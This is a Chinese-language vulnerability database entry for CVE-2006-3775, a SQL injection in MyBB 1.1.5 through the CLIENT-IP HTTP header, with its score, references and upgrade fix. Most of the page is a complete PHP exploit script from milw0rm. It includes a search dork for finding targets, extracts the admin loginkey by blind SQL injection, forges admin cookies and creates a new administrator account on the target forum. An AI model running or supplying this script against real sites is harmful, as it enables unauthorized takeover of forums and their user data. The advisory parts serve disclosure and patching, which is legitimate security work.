CVE-2006-3775
CVSS7.5
发布时间 :2006-07-24 08:19:00
修订时间 :2011-08-08 00:00:00
NMCOE    

[原文]SQL injection vulnerability in the init function in class_session.php in MyBB (aka MyBulletinBoard) 1.1.5 allows remote attackers to execute arbitrary SQL commands via the CLIENT-IP HTTP header ($_SERVER['HTTP_CLIENT_IP'] variable), as utilized by index.php.


[CNNVD]MyBB 'class_session.php' SQL注入漏洞(CNNVD-200607-380)

        MyBB (又称 MyBulletinBoard) 1.1.5的class_session.php 中的init函数存在SQL注入漏洞。远程攻击者可以借助由 index.php使用的CLIENT-IP HTTP标头($_SERVER['HTTP_CLIENT_IP']变量), 执行任意SQL命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-89 [SQL命令中使用的特殊元素转义处理不恰当(SQL注入)]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3775
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-3775
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200607-380
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/27752
(UNKNOWN)  XF  mybb-clientip-sql-injection(27752)
http://www.vupen.com/english/advisories/2006/2811
(VENDOR_ADVISORY)  VUPEN  ADV-2006-2811
http://www.securityfocus.com/archive/1/archive/1/440163/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060715 MyBulletinBoard (MyBB) 1.1.5 'CLIENT-IP' sql injection
http://www.mybboard.com/archive.php?nid=16
(UNKNOWN)  CONFIRM  http://www.mybboard.com/archive.php?nid=16
http://securityreason.com/securityalert/1262
(UNKNOWN)  SREASON  1262
http://secunia.com/advisories/21070
(VENDOR_ADVISORY)  SECUNIA  21070
http://retrogod.altervista.org/mybb_115_sql.html
(UNKNOWN)  MISC  http://retrogod.altervista.org/mybb_115_sql.html

- 漏洞信息

MyBB 'class_session.php' SQL注入漏洞
高危 SQL注入
2006-07-24 00:00:00 2007-08-13 00:00:00
远程  
        MyBB (又称 MyBulletinBoard) 1.1.5的class_session.php 中的init函数存在SQL注入漏洞。远程攻击者可以借助由 index.php使用的CLIENT-IP HTTP标头($_SERVER['HTTP_CLIENT_IP']变量), 执行任意SQL命令。

- 公告与补丁

        

- 漏洞信息 (2012)

MyBulletinBoard (MyBB) <= 1.1.5 (CLIENT-IP) SQL Injection Exploit (EDBID:2012)
php webapps
2006-07-15 Verified
0 rgod
N/A [点击下载]
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "MyBulletinBoard (MyBB) <= 1.1.5 'CLIENT-IP' SQL injection / create new admin exploit\n";
echo "by rgod rgod@autistici.org\n";
echo "site: http://retrogod.altervista.org\n";
echo "dork, version specific: \"Powered By MyBB\" \"2006 MyBB Group\"\n\n";
/*
works regardless of php.ini settings
*/
if ($argc<3) {
echo "Usage: php ".$argv[0]." host path OPTIONS\n";
echo "host:      target server (ip/hostname)\n";
echo "path:      path to MyBB\n";
echo "Options:\n";
echo "   -T[prefix]   specify a table prefix different from default (mybb_)\n";
echo "   -u[number]   specify a user id other than 1 (usually admin)\n";
echo "   -p[port]:    specify a port other than 80\n";
echo "   -P[ip:port]: specify a proxy\n";
echo "   -d:          disclose table prefix (reccomended)\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /MyBB/ -d\r\n";
echo "php ".$argv[0]." localhost /MyBB/ -Tmy_\r\n";
die;
}
/* software site: http://www.mybboard.com/

   vulnerable code in inc/functions.php near lines 1292-1320:

   ...
   function getip() {
	global $_SERVER;
	if($_SERVER['HTTP_X_FORWARDED_FOR'])
	{
		if(preg_match_all("#[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#s", $_SERVER['HTTP_X_FORWARDED_FOR'], $addresses))
		{
			while(list($key, $val) = each($addresses[0]))
			{
				if(!preg_match("#^(10|172\.16|192\.168)\.#", $val))
				{
					$ip = $val;
					break;
				}
			}
		}
	}
	if(!$ip)
	{
		if($_SERVER['HTTP_CLIENT_IP'])
		{
			$ip = $_SERVER['HTTP_CLIENT_IP'];
		}
		else
		{
			$ip = $_SERVER['REMOTE_ADDR'];
		}
	}
	return $ip;
}
...

you can spoof your ip address through the CLIENT-IP http header...
as result you can inject sql statements in class_session.php at lines 36-68:
by calling the main index.php script
...
function init()
	{
		global $ipaddress, $db, $mybb, $noonline;
		//
		// Get our visitors IP
		//
		$this->ipaddress = $ipaddress = getip();

		//
		// User-agent
		//
		$this->useragent = $_SERVER['HTTP_USER_AGENT'];
		if(strlen($this->useragent) > 100)
		{
			$this->useragent = substr($this->useragent, 0, 100);
		}

		//
		// Attempt to find a session id in the cookies
		//
		if($_COOKIE['sid'])
		{
			$this->sid = addslashes($_COOKIE['sid']);
		}
		else
		{
			$this->sid = 0;
		}

		//
		// Attempt to load the session from the database
		//
		$query = $db->query("SELECT sid,uid FROM ".TABLE_PREFIX."sessions WHERE sid='".$this->sid."' AND ip='".$this->ipaddress."'");
...

injection is blind, but you can ask true-false questions to the database to
retrieve the admin loginkey.
Through that you can build an admin cookie and create a new admin user through
the admin/users.php script.
Also you can disclose table prefix.

--------------------------------------------------------------------------------


-*****************************************************************************-
*                                                                            *
* Italia - Germania 2-0, al 114' forse il più bel gol che abbia mai visto    *
* grazie Grosso!                                                             *
*                                                                            *
-*****************************************************************************-
 */

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
   $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
   }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}
srand(make_seed());
$anumber = rand(1,99999);

$host=$argv[1];
$path=$argv[2];
$port=80;
$prefix="mybb_";
$user_id="1";//admin
$proxy="";
$dt=0;
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
  $prefix=str_replace("-T","",$argv[$i]);
}
if ($temp=="-u")
{
  $user_id=str_replace("-u","",$argv[$i]);
}
if ($temp=="-d")
{
  $dt=1;
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

if ($dt)
{
$sql="'suntzuuuu/*";
echo "sql -> ".$sql."\r\n";
$packet ="GET ".$p."index.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: $sql\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("You have an error in your SQL syntax",$html))
{
 $temp=explode("sessions",$html);
 $temp2=explode(" ",$temp[0]);
 $prefix=$temp2[count($temp2)-1];
 echo "prefix -> ".$prefix;if ($prefix==""){echo "[no prefix]";}echo"\n";
}
else
{
echo "unable to disclose table prefix...\n";
}
sleep(1);
}

$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(65,90));//A-Z letters
$chars=array_merge($chars,range(97,122));//a-f letters
$j=1;
$loginkey="";
while (!strstr($loginkey,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql="99999999' UNION SELECT ASCII(SUBSTRING(loginkey,".$j.",1))=".$i.",0 FROM ".$prefix."users WHERE uid=1/*";
echo "sql -> ".$sql."\r\n";
$packet ="GET ".$p."index.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: $sql\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("Hello There",$html)) {$loginkey.=chr($i);echo "loginkey -> ".$loginkey."[???]\r\n";sleep(1);break;}
}
if ($i==255) {die("Exploit failed...");}
}
  $j++;
}
$cookie="mybbuser=1_".trim(str_replace(chr(0),"",$loginkey))."; mybbadmin=1_".trim(str_replace(chr(0),"",$loginkey)).";";
echo "admin cookie -> ".$cookie."\r\n";


$data='-----------------------------7d62702f250530
Content-Disposition: form-data; name="action";

do_add
-----------------------------7d62702f250530
Content-Disposition: form-data; name="userusername";

suntzu'.$anumber.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="newpassword";

suntzu'.$anumber.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="email";

suntzoi@suntzu.org
-----------------------------7d62702f250530
Content-Disposition: form-data; name="usergroup";

4
-----------------------------7d62702f250530
Content-Disposition: form-data; name="additionalgroups[]";

4
-----------------------------7d62702f250530
Content-Disposition: form-data; name="displaygroup";

4
-----------------------------7d62702f250530
Content-Disposition: form-data; name="Add User";

  Add User
-----------------------------7d62702f250530--
';

$packet="POST ".$p."admin/users.php HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("The user has successfully been added",$html))
{
  echo "exploit succeeded... now login as admin\n";
  echo "with username \"suntzu".$anumber."\" and password \"suntzu".$anumber."\"\n";
}
else
{
  echo "something goes wrong...\n";if(!$dt)echo "you may try -d option\n";
}
?>

# milw0rm.com [2006-07-15]
		

- 漏洞信息

27335
MyBulletinBoard (MyBB) HTTP Header CLIENT-IP Field SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity Upgrade
Vendor Verified

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-07-15 Unknow
2006-07-15 Unknow

- 解决方案

Upgrade to version 1.1.6 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站